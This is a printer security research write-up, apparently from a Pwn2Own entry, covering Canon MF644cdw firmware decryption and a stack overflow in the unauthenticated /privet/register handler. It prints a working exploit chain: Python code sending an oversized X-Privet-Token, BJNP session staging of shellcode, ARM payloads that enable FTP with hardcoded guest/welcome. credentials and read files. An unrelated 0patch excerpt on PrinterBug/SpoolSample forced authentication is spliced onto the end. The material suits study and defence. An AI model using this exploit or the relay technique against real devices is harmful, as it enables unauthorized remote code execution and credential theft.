
Firmware extraction and analysis

Downloading firmware

The Canon website is interesting: you cannot download the firmware for a particular model without having a serial number which matches that model. This, as you might guess, is particularly annoying when you want to download a firmware for a model you do not own. Two options came to our mind:

  • Finding a picture of the model in a review or listing,
  • Finding a serial number of the same model on Shodan.

Thankfully, the MFC644cdw was reviewed in details by PCmag, and one of the pictures contained the serial number of the printer used for the review. This allowed us to download a firmware from the Canon USA website. The version available online at the time on that website was 06.03.

Predicting firmware URLs

As a side note, once the serial number was obtained, we could download several version of the firmware, for different operating systems. For example, version 06.03 for macOS has the following filename: mac-mf644-a-fw-v0603-64.dmg and the associated download link is https://pdisp01.c-wss.com/gdl/WWUFORedirectSerialTarget.do?id=OTUwMzkyMzJk&cmp=ABR&lang=EN. As the URL implies, this page asks for the serial number and redirects you to the actual firmware if the serial is valid. In that case: https://gdlp01.c-wss.com/gds/5/0400006275/01/mac-mf644-a-fw-v0603-64.dmg.

Of course, the base64 encoded id in the first URL is interesting: once decoded, you get the (literal string) 95039232d, which in turn, is the hex representation of 40000627501, which is part of the actual firmware URL!

A few more examples led us to understand that the part of the URL with the single digit (/5/ in our case) is just the last digit of the next part of the URL's path (/0400006275/ in this example). We assume this is probably used for load balancing or another similar reason. Using this knowledge, we were able to download a lot of different firmware images for various models. We also found out that Canon pages for USA or Europe are not as current as the Japanese page which had version 09.01 at the time of writing.

However, all of them lag behind the reality: the latest firmware version was 10.02, which is actually retrieved by the printer's firmware update mechanism. https://gdlp01.c-wss.com/rmds/oi/fwupdate/mf640c_740c_lbp620c_660c/contents.xml gives us the actual up-to-date version.

Firmware types

A small note about firmware "types". The update XML has 3 different entries per content kind:

<contents-information>
  <content kind="bootable" value="1" deliveryCount="1" version="1003" base_url="http://pdisp01.c-wss.com/gdl/WWUFORedirectSerialTarget.do" >
    <query arg="id" value="OTUwMzZkMDQ5" />
    <query arg="cmp" value="Z03" />
    <query arg="lang" value="JA" />
  </content>
  <content kind="bootable" value="2" deliveryCount="1" version="1003" base_url="http://pdisp01.c-wss.com/gdl/WWUFORedirectSerialTarget.do" >
    <query arg="id" value="OTUwMzZkMGFk" />
    <query arg="cmp" value="Z03" />
    <query arg="lang" value="JA" />
  </content>
  <content kind="bootable" value="3" deliveryCount="1" version="1003" base_url="http://pdisp01.c-wss.com/gdl/WWUFORedirectSerialTarget.do" >
    <query arg="id" value="OTUwMzZkMTEx" />
    <query arg="cmp" value="Z03" />
    <query arg="lang" value="JA" />
  </content>

Which correspond to:

  • gdl_MF640C_740C_LBP620C_660C_Series_MainController_TYPEA_V10.02.bin
  • gdl_MF640C_740C_LBP620C_660C_Series_MainController_TYPEB_V10.02.bin
  • gdl_MF640C_740C_LBP620C_660C_Series_MainController_TYPEC_V10.02.bin

Each type corresponds to one of the models listed in the XML URL:

  • MF640C => TYPEA
  • MF740C => TYPEB
  • LBP620C => TYPEC

Decryption: black box attempts

Basic firmware extraction

Windows updates such as win-mf644-a-fw-v0603.exe are Zip SFX files, which contain the actual updater: mf644c_v0603_typea_w.exe. This is the end of the PE file as seen in Hiew:

004767F0:  58 50 41 44-44 49 4E 47-50 41 44 44-49 4E 47 58  XPADDINGPADDINGX
00072C00:  4E 43 46 57-00 00 00 00-3D 31 5D 08-20 00 00 00  NCFW    =1]

As you can see (the address changes from RVA to physical offset), the firmware update seems to be stored at the end of the PE as an overlay, and conveniently starts with a NCFW magic header. MacOS firmware updates can be extracted with 7z and contain a big file: mf644c_v0603_typea_m64.app/Contents/Resources/.USTBINDDATA which is almost the same as the Windows overlay except for the PE signature, and some offsets.

After looking at a bunch of firmware, it became clear that the footer of the update contains information about various parts of the firmware update, including a nice USTINFO.TXT file which describes the target model, etc. The NCFW magic also appears several times in the biggest "file" described by the UST footer. After some trial and error, its format was understood and allowed us to split the firmware into its basic components.

All this information was compiled into the unpack_fw.py script.

Weak encryption, but how weak?

The main firmware file Bootable.bin.sig is encrypted, but it seems encrypted with a very simple algorithm, as we can determine by looking at the patterns:

00000040  20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F  !"#$%&'()*+,-./
00000050  30 31 32 33 34 35 36 37 38 39 3A 3B 39 FC E8 7A 0123456789:;9..z
00000060  34 35 4F 50 44 45 46 37 48 49 CA 4B 4D 4E 4F 50 45OPDEF7HI.KMNOP
00000070  51 52 53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F 60 QRSTUVWXYZ[\]^_`

The usual assumption of having big chunks of 00 or FF in the plaintext firmware allows us to have different hypothesis about the potential encryption algorithm. The increasing numbers most probably imply some sort of byte counter. We then tried to combine it with some basic operations and tried to decrypt:

  • A xor with a byte counter => fail
  • A xor with counter and feedback => fail

Attempting to use a known plaintext (where the plaintext is not 00 or FF) was impossible at this stage as we did not have a decrypted firmware image yet. Having a reverser in the team, the obvious next step was to try to find code which implements the decryption:

  • The updater tool does not decrypt the firmware but sends it as-is => fail
  • Check the firmware of previous models to try to find unencrypted code which supports encrypted "NCFW" updates:
    • FAIL
    • However, we found unencrypted firmware files with a similar structure which gave use a bit of known plaintext, but did not give any real clue about the solution

Hardware: first look

Main board and serial port

Once we received the printer, we of course started dismantling it to look for interesting hardware features and ways to help us get access to the firmware.

  • Looking at the hardware we considered these different approaches to obtain more information:
  • An SPI is present on the mainboard, read it
  • An Unsolder eMMC is present on the mainboard, read it
  • Find an older model, with unencrypted firmware and simpler flash to unsolder, read, profit. Fortunately, we did not have to go further in this direction.
  • Some printers are known to have a serial port for debug providing a mini shell. Find one and use it to run debug commands in order to get plaintext/memory dump (NOTE of course we found the serial port afterwards)

Service mode

All enterprise printers have a service mode, intended for technicians to diagnose potential problems. YouTube is a good source of info on how to enter it. On this model, the dance is a bit weird as one must press "invisible" buttons. Once in service mode, debug logs can be dumped on a USB stick, which creates several files:

  • SUBLOG.TXT
  • SUBLOG.BIN is obviously SUBLOG.TXT, encrypted with an algorithm which exhibits the same patterns as the encrypted firmware.

Decrypting firmware

Program synthesis approach

At this point, this was our train of thought:

  • The encryption algorithm seemed "trivial" (lots of patterns, byte by byte)
  • SUBLOG.TXT gave us lots of plaintext
  • We were too lazy to find it by blackbox/reasoning

As program synthesis has evolved quite fast in the past years, we decided to try to get a tool to synthesize the decryption algorithm for us. We of course used the known plaintext from SUBLOG.TXT, which can be used as constraints. Rosette seemed easy to use and well suited, so we went with that. We started following a nice tutorial which worked over the integers, but gave us a bit of a headache when trying to directly convert it to bitvectors.

However, we quickly realized that we didn't have to synthesize a program (for all inputs), but actually solve an equation where the unknown was the program which would satisfy all the constraints built using the known plaintext/ciphertext pairs. The "Essential" guide to Rosette covers this in an example for us. So we started by defining the "program" grammar and crypt function, which defines a program using the grammar, with two operands, up to 3 layers deep:

(define int8? (bitvector 8))
(define (int8 i)
  (bv i int8?))

(define-grammar (fast-int8 x y)  ; Grammar of int32 expressions over two inputs:
  [expr
   (choose x y (?? int8?)        ; <expr> := x | y | <32-bit integer constant> |
           ((bop) (expr) (expr))  ;           (<bop> <expr> <expr>) |
           ((uop) (expr)))]       ;           (<uop> <expr>)
  [bop
   (choose bvadd bvsub bvand      ; <bop>  := bvadd  | bvsub | bvand |
           bvor bvxor bvshl       ;           bvor   | bvxor | bvshl |
           bvlshr bvashr)]        ;           bvlshr | bvashr
  [uop
   (choose bvneg bvnot)])         ; <uop>  := bvneg | bvnot

(define (crypt x i)
  (fast-int8 x i #:depth 3))

Once this is done, we can define the constraints, based on the known plain/encrypted pairs and their position (byte counter i). And then we ask Rosette for an instance of the crypt program which satisfies the constraints:

(define sol (solve
  (assert
; removing constraints speed things up
    (&& (bveq (crypt (int8 #x62) (int8 0)) (int8 #x3d))
; [...]        
        (bveq (crypt (int8 #x69) (int8 7)) (int8 #x3d))
        (bveq (crypt (int8 #x06) (int8 #x16)) (int8 #x20))
        (bveq (crypt (int8 #x5e) (int8 #x17)) (int8 #x73))
        (bveq (crypt (int8 #x5e) (int8 #x18)) (int8 #x75))
        (bveq (crypt (int8 #xe8) (int8 #x19)) (int8 #x62))
; [...]        
        (bveq (crypt (int8 #xc3) (int8 #xe0)) (int8 #x3a))
        (bveq (crypt (int8 #xef) (int8 #xff)) (int8 #x20))
        )
    )
  ))

(print-forms sol)

After running racket rosette.rkt and waiting for a few minutes, we get the following output:

(list 'define '(crypt x i)
 (list
  'bvor
  (list 'bvlshr '(bvsub i x) (list 'bvadd (bv #x87 8) (bv #x80 8)))
  '(bvsub (bvadd i i) (bvadd x x))))

which is a valid decryption program ! But it's a bit untidy. So let's convert it to C, with a trivial simplification:

uint8_t crypt(uint8_t i, uint8_t x) {
    uint8_t t = i-x;
    return (((2*t)&0xFF)|((t>>((0x87+0x80)&0xFF))&0xFF))&0xFF;
}

and compile it with gcc -m32 -O2 using https://godbolt.org to get the optimized version:

mov     al, byte ptr [esp+4]
sub     al, byte ptr [esp+8]
rol     al
ret

So our encryption algorithm was a trivial ror(x-i, 1)!

Exploiting setup

After we decrypted the firmware and noticed the serial port, we decided to set up an environment that would facilitate our exploitation of the vulnerability.

We set up a Raspberry Pi on the same network as the printer that we also connected to the serial port of the printer. In this way we could remotely exploit the vulnerability while controlling the status of the printer via many features offered by the serial port.

Serial port: dry shell

The serial port gave us access to the aforementioned dry shell which provided incredible help to understand / control the printer status and debug it during our exploitation attempts.

Among the many powerful features offered, here are the most useful ones:

  • The ability to perform a full memory dump: a simple and quick way to retrieve the updated firmware unencrypted.
  • The ability to perform basic filesystem operations.
  • The ability to list the running tasks and their associated memory segments.

  • The ability to start an FTP daemon, this will come handy later.

  • The ability to inspect the content of memory at a specific address.

This feature was used a lot to understand what was going on during exploitation attempts. One of the annoying things is the presence of a watchdog which restarts the whole printer if the HTTP daemon crashes. We had to run this command quickly after any exploitation attempts.

Vulnerability

Attack surface

The Pwn2Own rules state that if there's authentication, it should be bypassed. Thus, the easiest way to win is to find a vulnerability in a non authenticated feature. This includes obvious things like:

  • Printing functions and protocols,
  • Various web pages,
  • The HTTP server,
  • The SNMP server.

We started by enumerating the "regular" web pages that are handled by the web server (by checking the registered pages in the code), including the weird /elf/ subpages. We then realized some other URLs were available in the firmware, which were not obviously handled by the usual code: /privet/, which are used for cloud based printing.

Vulnerable function

Reverse engineering the firmware is rather straightforward, even if the binary is big. The CPU is standard ARMv7. By reversing the handlers, we quickly found the following function. Note that all names were added manually, either taken from debug logging strings or after reversing:

int __fastcall ntpv_isXPrivetTokenValid(char *token)
{
  int tklen; // r0
  char *colon; // r1
  char *v4; // r1
  int timestamp; // r4
  int v7; // r2
  int v8; // r3
  int lvl; // r1
  int time_delta; // r0
  const char *msg; // r2
  char buffer[256]; // [sp+4h] [bp-174h] BYREF
  char str_to_hash[28]; // [sp+104h] [bp-74h] BYREF
  char sha1_res[24]; // [sp+120h] [bp-58h] BYREF
  int sha1_from_token[6]; // [sp+138h] [bp-40h] BYREF
  char last_part[12]; // [sp+150h] [bp-28h] BYREF
  int now; // [sp+15Ch] [bp-1Ch] BYREF
  int sha1len; // [sp+164h] [bp-14h] BYREF

  bzero(buffer, 0x100u);
  bzero(sha1_from_token, 0x18u);
  memset(last_part, 0, sizeof(last_part));
  bzero(str_to_hash, 0x1Cu);
  bzero(sha1_res, 0x18u);
  sha1len = 20;
  if ( ischeckXPrivetToken() )
  {
    tklen = strlen(token);
    base64decode(token, tklen, buffer);
    colon = strtok(buffer, ":");
    if ( colon )
    {
      strncpy(sha1_from_token, colon, 20);
      v4 = strtok(0, ":");
      if ( v4 )
        strncpy(last_part, v4, 10);
    }
    sprintf_0(str_to_hash, "%s%s%s", x_privet_secret, ":", last_part);
    if ( sha1(str_to_hash, 28, sha1_res, &sha1len) )
    {
      sha1_res[20] = 0;
      if ( !strcmp_0((unsigned int)sha1_from_token, sha1_res, 0x14u) )
      {
        timestamp = strtol2(last_part);
        time(&now, 0, v7, v8);
        lvl = 86400;
        time_delta = now - LODWORD(qword_470B80E0[0]) - timestamp;
        if ( time_delta <= 86400 )
        {
          msg = "[NTPV] %s: x-privet-token is valid.\n";
          lvl = 5;
        }
        else
        {
          msg = "[NTPV] %s: issue_timecounter is expired!!\n";
        }
        if ( time_delta <= 86400 )
        {
          log(3661, lvl, msg, "ntpv_isXPrivetTokenValid");
          return 1;
        }
        log(3661, 5, msg, "ntpv_isXPrivetTokenValid");
      }
      else
      {
        log(3661, 5, "[NTPV] %s: SHA1 hash value is invalid!!\n", "ntpv_isXPrivetTokenValid");
      }
    }
    else
    {
      log(3661, 3, "[NTPV] ERROR %s fail to generate hash string.\n", "ntpv_isXPrivetTokenValid");
    }
    return 0;
  }
  log(3661, 6, "[NTPV] %s() DEBUG MODE: Don't check X-Privet-Token.", "ntpv_isXPrivetTokenValid");
  return 1;
}

The vulnerable code is the following line:

base64decode(token, tklen, buffer);

With some thought, one can recognize the bug from the function signature itself -- there is no buffer length parameter passed in, meaning base64decode has no knowledge of buffer bounds. In this case, it decodes the base64-encoded value of the X-Privet-Token header into the local, stack based buffer which is 256 bytes long. The header is attacker-controlled is limited only by HTTP constraints, and as a result can be much larger. This leads to a textbook stack-based buffer overflow. The stack frame is relatively simple:

-00000178 var_178         DCD ?
-00000174 buffer          DCB 256 dup(?)
-00000074 str_to_hash     DCB 28 dup(?)
-00000058 sha1_res        DCB 20 dup(?)
-00000044 var_44          DCD ?
-00000040 sha1_from_token DCB 24 dup(?)
-00000028 last_part       DCB 12 dup(?)
-0000001C now             DCD ?
-00000018                 DCB ? ; undefined
-00000017                 DCB ? ; undefined
-00000016                 DCB ? ; undefined
-00000015                 DCB ? ; undefined
-00000014 sha1len         DCD ?
-00000010
-00000010 ; end of stack variables

The buffer array is not really far from the stored return address, so exploitation should be relatively easy. Initially, we found the call to the vulnerable function in the /privet/printer/createjob URL handler, which is not accessible before authenticating, so we had to dig a bit more.

ntpv functions

The various ntpv URLs and handlers are nicely defined in two different arrays of structures as you can see below:

privet_url nptv_urls[8] =
{
  { 0, "/privet/info", "GET" },
  { 1, "/privet/register", "POST" },
  { 2, "/privet/accesstoken", "GET" },
  { 3, "/privet/capabilities", "GET" },
  { 4, "/privet/printer/createjob", "POST" },
  { 5, "/privet/printer/submitdoc", "POST" },
  { 6, "/privet/printer/jobstate", "GET" },
  { 7, NULL, NULL }
};
DATA:45C91C0C nptv_cmds       id_cmd <0, ntpv_procInfo>
DATA:45C91C0C                                         ; DATA XREF: ntpv_cgiMain+338↑o
DATA:45C91C0C                                         ; ntpv_cgiMain:ntpv_cmds↑o
DATA:45C91C0C                 id_cmd <1, ntpv_procRegister>
DATA:45C91C0C                 id_cmd <2, ntpv_procAccesstoken>
DATA:45C91C0C                 id_cmd <3, ntpv_procCapabilities>
DATA:45C91C0C                 id_cmd <4, ntpv_procCreatejob>
DATA:45C91C0C                 id_cmd <5, ntpv_procSubmitdoc>
DATA:45C91C0C                 id_cmd <6, ntpv_procJobstate>
DATA:45C91C0C                 id_cmd <7, 0>

After reading the documentation and reversing the code, it appeared that the register URL was accessible without authentication and called the vulnerable code.

Exploitation

Triggering the bug

Using a pattern generated with rsbkb, we were able to get the following crash on the serial port:

Dry> < Error Exception >
 CORE : 0
 TYPE : prefetch
 ISR  : FALSE
 TASK ID   : 269
 TASK Name : AsC2
 R 0  : 00000000
 R 1  : 00000000
 R 2  : 40ec49fc
 R 3  : 49789eb4
 R 4  : 316f4130
 R 5  : 41326f41
 R 6  : 6f41336f
 R 7  : 49c1b38c
 R 8  : 49d0c958
 R 9  : 00000000
 R10  : 00000194
 R11  : 45c91bc8
 R12  : 00000000
 R13  : 4978a030
 R14  : 4167a1f4
 PC   : 356f4134
 PSR  : 60000013
 CTRL : 00c5187d
        IE(31)=0

Which gives:

$ rsbkb bofpattoff 4Ao5
Offset: 434 (mod 20280) / 0x1b2

Astute readers will note that the offset is too big compared to the local stack frame size, which is only 0x178 bytes. Indeed, the correct offset for PC, from the start of the local buffer is 0x174. The 0x1B2 which we found using the buffer overflow pattern actually triggers a crash elsewhere and makes exploitation way harder. So remember to always check if your offsets make sense.

Buffer overflow

As the firmware is lacking protections such as stack cookies, NX, and ASLR, exploiting the buffer overflow should be rather straightforward, despite the printer running DRYOS which differs from usual operating systems. Using the information gathered while researching the vulnerability, we built the following class to exploit the vulnerability and overwrite the PC register with an arbitrary address:

import struct

class PrivetPayload:
    def __init__(self, ret_addr=0x1337):
        self.ret_addr = ret_addr

    @property
    def r4(self):
        return b"\x44\x44\x44\x44"

    @property
    def r5(self):
        return b"\x55\x55\x55\x55"

    @property
    def r6(self):
        return b"\x66\x66\x66\x66"

    @property
    def pc(self):
        return struct.pack("<I", self.ret_addr)

    def __bytes__(self):
        return (
            b":" * 0x160
            + struct.pack("<I", 0x20)  # pHashStrBufLen
            + self.r4
            + self.r5
            + self.r6
            + self.pc
        )

The vulnerability can then be triggered with the following code, assuming the printer's IP address is 192.168.1.100:

import base64
import http.client

payload = privet.PrivetPayload()
headers = {
    "Content-type": "application/json",
    "Accept": "text/plain",
    "X-Privet-Token": base64.b64encode(bytes(payload)),
}

conn = http.client.HTTPConnection("192.168.1.100", 80)
conn.request("POST", "/privet/register", "", headers)

To confirm that the exploit was extremely reliable, we simply jumped to a debug function's entry point (which printed information to the serial console) and observed it worked consistently — though the printer rebooted afterwards because we hadn't cleaned the stack.

With this out of the way, we now need to work on writing a useful exploit. After reaching out to the organizers to learn more about their expectations regarding the proof of exploitation, we decided to show a custom image on the printer's LCD screen.

To do so, we could basically:

  • Store our exploit in the buffer used to trigger the overflow and jump into it,
  • Find another buffer we controlled and jump into it,
  • Rely only on return-oriented programming.

Though the first method would have been possible (we found a convenient add r3, r3, #0x103 ; bx r3 gadget), we were limited by the size of the buffer itself, even more so because parts of it were being rewritten in the function's body. Thus, we decided to look into the second option by checking other protocols supported by the printer.

BJNP

One of the supported protocols is BJNP, which was conveniently exploited by Synacktiv ninjas on a different printer, accessible on UDP port 8611. This project adds a BJNP backend for CUPS, and the protocol itself is also handled by Wireshark.

In our case, BJNP is very useful: it can handle sessions and allows the client to store data (up to 0x180 bytes) on the printer for the duration of the session, which means we can precisely control until when our payload will remain available in memory. Moreover, this data is stored in the field of a global structure, which means it is always located at the same address for a given firmware. For the sake of our exploit, we reimplemented parts of the protocol using Scapy:

from scapy.packet import Packet
from scapy.fields import (
    EnumField,
    ShortField,
    StrLenField,
    BitEnumField,
    FieldLenField,
    StrFixedLenField,
)

class BJNPPkt(Packet):
    name = "BJNP Packet"

    BJNP_DEVICE_ENUM = {
        0x0: "Client",
        0x1: "Printer",
        0x2: "Scanner",
    }

    BJNP_COMMAND_ENUM = {
        0x000: "GetPortConfig",
        0x201: "GetNICInfo",
        0x202: "NICCmd",
        0x210: "SessionStart",
        0x211: "SessionEnd",
        0x212: "GetSessionInfo",
        0x220: "DataRead",
        0x221: "DataWrite",
        0x230: "GetDeviceID",
        0x232: "CmdNotify",
        0x240: "AppCmd",
    }

    BJNP_ERROR_ENUM = {
        0x8200: "Invalid header",
        0x8300: "Session error",
        0x8502: "Session already exists",
    }

    fields_desc = [
        StrFixedLenField("magic", default=b"MFNP", length=4),
        BitEnumField("device", default=0, size=1, enum=BJNP_DEVICE_ENUM),
        BitEnumField("cmd", default=0, size=15, enum=BJNP_COMMAND_ENUM),
        EnumField("err_no", default=0, enum=BJNP_ERROR_ENUM, fmt="!H"),
        ShortField("seq_no", default=0),
        ShortField("sess_id", default=0),
        FieldLenField("body_len", default=None, length_of="body", fmt="!I"),
        StrLenField("body", b"", length_from=lambda pkt: pkt.body_len),
    ]

For our version of the firmware, the BJNP structure is located at 0x46F2B294 and the session data sent by the client is stored at offset 0x24. We also want our payload to run in thumb mode to reduce its size, which means we need to jump to an odd address. All in all, we can simply overwrite the pc register with 0x46F2B294+0x24+1=0x46F2B2B9 in our original payload to reach the BJNP session buffer.

Initial PoC

Quick recap of the exploitation strategy:

  • Start a BJNP session and store our exploit in the session data,
  • Exploit the buffer overflow to jump in the session buffer,
  • Close the BJNP session to remove our exploit from memory once it ran.

To demonstrate this, we can jump to the function which disables the energy save mode on the printer (and wakes the screen up, which is useful to check if it actually worked). In our firmware, it is located at 0x413054D8, and we simply need to set the r0 register to 0 before calling it:

mov r0, #0
mov r12, #0x54D8
movt r12, #0x4130
blx r12

To avoid the printer rebooting, we can also fix the r0 and lr registers to restore the original flow:

mov r0, #0
mov r1, #0xEBA0
movt r1, #0x40DE
mov lr, r1
bx lr

Putting it all together, here is an exploit which does just that:

import time
import socket
import base64
import http.client

def store_payload(sock, payload):
    assert len(payload) <= 0x180, ValueError(
        "Payload too long: {} is greater than {}".format(len(payload), 0x180)
    )

    pkt = BJNPPkt(
        cmd=0x210,
        seq_no=0,
        sess_id=1,
        body=(b"\x00" * 8 + payload + b"\x00" * (0x180 - len(payload))),
    )
    pkt.show2()
    sock.sendall(bytes(pkt))

    res = BJNPPkt(sock.recv(4096))
    res.show2()

    # The printer should return a valid session ID
    assert res.sess_id != 0, ValueError("Failed to create session")

def cleanup_payload(sock):
    pkt = BJNPPkt(
        cmd=0x211,
        seq_no=0,
        sess_id=1,
    )
    pkt.show2()
    sock.sendall(bytes(pkt))

    res = BJNPPkt(sock.recv(4096))
    res.show2()

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect(("192.168.1.100", 8610))

bjnp_payloads = bytes.fromhex("4FF0000045F2D84C44F2301CE0474FF000004EF6A031C4F2DE018E467047")
store_payload(sock, bjnp_payload)

privet_payload = privet.PrivetPayload(ret_addr=0x46F2B2B9)
headers = {
    "Content-type": "application/json",
    "Accept": "text/plain",
    "X-Privet-Token": base64.b64encode(bytes(privet_payload)),
}

conn = http.client.HTTPConnection("192.168.1.100", 80)
conn.request("POST", "/privet/register", "", headers)

time.sleep(5)

cleanup_payload(sock)
sock.close()

Payload

We can now build upon this PoC to create a meaningful payload. As we want to display a custom image on screen, we need to:

  • Find a way of uploading the image data (as we're limited to 0x180 bytes in total in the BJNP session buffer),
  • Make sure the screen is turned on (for example, by disabling the energy save mode as above),
  • Call the display function with our image data to show it on screen.

Displaying an image

As the firmware contains a number of debug functions, we were able to understand the display mechanism rather quickly. There is a function able to write an image into the frame buffer (located at 0x41305158 in our firmware) which takes two arguments: the address of an RGB image, and the address of a frame buffer structure which looks like below:

struct frame_buffer_struct {
    unsigned short x;
    unsigned short y;
    unsigned short width;
    unsigned short height;
};

The frame buffer can only be used to display 320x240 pixels at a time which isn't enough to cover the whole screen as it is 800x480 pixels. We push this structure on the stack with the following code:

sub sp, #8
mov r0, #320
strh r0, [sp, #4]  ; width
mov r0, #240
strh r0, [sp, #6]  ; height
mov r0, #0
strh r0, [sp]      ; x
strh r0, [sp, #2]  ; y

Once this is done, assuming r5 contains the address of our image buffer, we display it on screen with the following code:

; Display frame buffer
mov r1, r5         ; Image buffer
mov r0, sp         ; Frame buffer struct
mov r12, #0x5158
movt r12, #0x4130
blx r12

This leaves the question of the image buffer itself.

FTP

Though we thought of multiple options to upload the image, we ended up deciding to use a legitimate feature of the printer: it can serve as an FTP server, which is disabled by default. Thus, we need to:

  • Enable the ftpd service,
  • Upload our image from the client,
  • Read the image in a buffer.

In our firmware, the function to enable the ftpd service is located at 0x4185F664 and takes 4 arguments: the maximum number of simultaneous client, the timeout, the command port, and the data port. It can be enabled with the following payload:

mov r0, #0x3       ; Max clients
mov r1, #0x0       ; Timeout
mov r2, #21        ; Command port
mov r3, #20        ; Data port
mov r12, #0xF664
movt r12, #0x4185
blx r12

The ftpd service also has a feature to change directory. This doesn't really matter to us since the default directory is always S:/. We could however decide to change it to: either access data stored on other paths (e.g. the admin password) or to ensure our exploit works correctly even if the directory was somehow changed beforehand. To do so, we would need to call the function at 0x4185E2A4 with the r0 register set to the address of the new path string.

Once enabled, the FTP server requires credentials to connect. Fortunately for us, they are hardcoded in the firmware as guest / welcome.. We can upload our image (called a in this example) with the following code:

import ftplib

with ftplib.FTP(host="192.168.1.100", user="guest", passwd="welcome.") as ftp:
    with open("image.raw") as f:
        ftp.storbinary("STOR a", f)

File system

We are simply left with reading the image from the filesystem. Thankfully, DRYOS has an abstraction layer to handle this, allowing us to only look for the equivalent of the usual open, read, and close functions. In our firmware, they are located respectively at 0x416917C8, 0x41691A20, and 0x41691878. Assuming r5 contains the address of our image path, we can open the file like so:

mov r2, #0x1C0
mov r1, #0
mov r0, r5         ; Image path
mov r12, #0x17C8
movt r12, #0x4169
blx r12
mov r5, r0         ; File handle

; Exit if there was an error opening the file
cmp r5, #0
ble .end

The image being too large to store on the stack, we could decide to dynamically allocate a buffer. However, the firmware contains debug images stored in writable memory, so we decided to overwrite one of them instead to simplify the exploit. We went with 0x436A3F64, which originally contains a screenshot of a calculator.

Here is the payload to read the content of the file into this buffer:

; Get address of image buffer
mov r10, #0x3F64
movt r10, #0x436A

; Compute image size
mov r2, #320       ; Width
mov r3, #240       ; Height
mov r6, #3         ; Depth
mul r6, r6, r2
mul r6, r6, r3

; Read content of file in buffer
mov r3, #0         ; Bytes read
mov r4, r6         ; Bytes left to read
.loop:
mov r2, r4         ; Number of bytes to read
add r1, r10, r3    ; Buffer position
mov r0, r5         ; File handle
mov r12, #0x1A20
movt r12, #0x4169
blx r12
cmp r0, #0
ble .end_read      ; Exit in case of an error
add r3, r3, r0
sub r4, r4, r0
cmp r4, #0
bgt .loop

For completeness, here is how to close the file:

mov r0, r5
mov r12, #0x1878
movt r12, #0x4169
blx r12

Putting everything together

In the end, our exploit is split into 3 parts:

  1. Execute a first payload to enable the ftpd service and change to the S:/ directory,
  2. Upload our image using FTP,
  3. Exploit the vulnerability with another payload reading the image and displaying it on the screen.

You can find the script handling all this in the exploit.zip and you can see the exploit in action here.

It feels a bit... Anticlimactic? Where is the Doom port for DRYOS when you need it...

Patch

Canon published an advisory in March 2022 alongside a firmware update.

A quick look at this new version shows that the /privet endpoint is no longer reachable: the function registering this path now logs a message before simply exiting, and the /privet string no longer appears in the binary. Despite this, it seems like the vulnerable code itself is still there - though it is now supposedly unreachable. Strings related to FTP have also been removed, hinting that Canon may have disabled this feature as well.

As a side note, disabling this feature makes sense since Google Cloud Print was discontinued on December 31, 2020, and Canon announced they no longer supported it as of January 1, 2021.

Conclusion

In the end, we achieved a perfectly reliable exploit for our printer. It should be noted that our whole work was based on the European version of the printer, while the American version was used during the contest, so a bit of uncertainty still remained on the d-day. Fortunately, we had checked that the firmware of both versions matched beforehand.

We also adapted the offsets in our exploit to handle versions 9.01, 10.02, and 10.03 (released during the competition) in case the organizers' printer was updated. To do so, we built a script to automatically find the required offsets in the firmware and update our exploit.

All in all, we were able to remotely display an image of our choosing on the printer's LCD screen, which counted as a success and earned us 2 Master of Pwn points.

Micropatching the "PrinterBug/SpoolSample" - Another Forced Authentication Issue in Windows

27 June 2022 at 15:11

 

by Mitja Kolsek, the 0patch Team


Forced authentication issues (including NTLM relaying and Kerberos relaying) are a silent elephant in the room in Windows networks, where an attacker inside the network can force a chosen computer in the same network to perform authentication over the network such that the attacker can intercept its request. In the process, the attacker obtains some user's or computer account's credentials and can then use these to perform actions with the "borrowed" identity.

In case of PetitPotam, for instance, the attacker forces a Windows server to authenticate to a computer of their choice using the computer account - which can lead to arbitrary code execution on the server. With RemotePotato0, an attacker already logged in to a Windows computer (e.g., a Terminal Server) can force the computer to reveal credentials of any other user also logged in to the same computer.

For a great primer on relaying attacks in Windows, check out the article "I’m bringing relaying back: A comprehensive guide on relaying anno 2022" by Jean-François Maes of TrustedSec. Dirk-jan Mollema of Outsider Security also wrote several excellent pieces: "The worst of both worlds: Combining NTLM Relaying and Kerberos delegation", "Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin" and "NTLM relaying to AD CS - On certificates, printers and a little hippo."

Alas, Microsoft's position seems to be not to fix forced authentication issues unless an attack can be mounted anonymously; their fix for PetitPotam confirms that - they only addressed the anonymous attack vector. In other words:

If any domain user in a typical enterprise network should decide to become domain administrator, no official patch will be made available to prevent them from doing so.

Microsoft does suggest (here, here) various countermeasures to mitigate such attacks, including disabling NTLM, enabling EPA for Certificate Authority, or requesting LDAP signing and channel binding. These mitigations, however, are often a no-go for large organizations as they would break existing processes. It therefore isn't surprising that many of our large customers ask us for micropatches to address these issues in their networks.

Consequently, at 0patch we've decided to address all  known forced authentication issues in Windows exploitable by either anonymous or low-privileged attackers.


The Vulnerability

The vulnerability we micropatched this time has two names - PrinterBug and SpoolSample - but no CVE ID as it is considered a "won't fix" by the vendor. Its first public reference is this 2018 Derbycon presentation "The Unintended Risks of Trusting Active Directory" by
Will Schroeder, Lee Christensen, and Matt Nelson of SpecterOps, where authors describe how the MS-RPRN RPC interface can be used to force a remote computer to initiate authentication to attacker's computer.

Will Schroeder's subsequent paper "Not A Security Boundary: Breaking Forest Trusts" explains how this bug can be used for breaking the forest trust relationships; with March 2019 Windows Updates, Microsoft provided a related fix for CVE-2019-0683, addressing only the forest trust issue.

Today, four-plus years later, the PrinterBug/SpoolSample still works on all Windows systems for forcing a Windows computer running Print Spooler service to authenticate to attacker's computer, provided the attacker knows any domain user's credentials. As such, it is comparable to PetitPotam, which also still works for a low-privileged attacker (Microsoft only fixed the anonymous attack), and the recently disclosed DFSCoerce issue - which we're also preparing a micropatch for.

The vulnerability can be triggered by making a remote procedure call to a Windows computer (e.g., domain controller) running Print Spooler Service, specifically calling function RpcRemoteFindFirstPrinterChangeNotification(Ex) and providing the address of attacker's computer in the pszLocalMachine argument. Upon receiving such request, Print Spooler Service establishes an RPC channel back to attacker's computer - authenticating as the local computer account! This is enough for the attacker to relay received credentials to a certificate service in the network and obtain a privileged certificate.

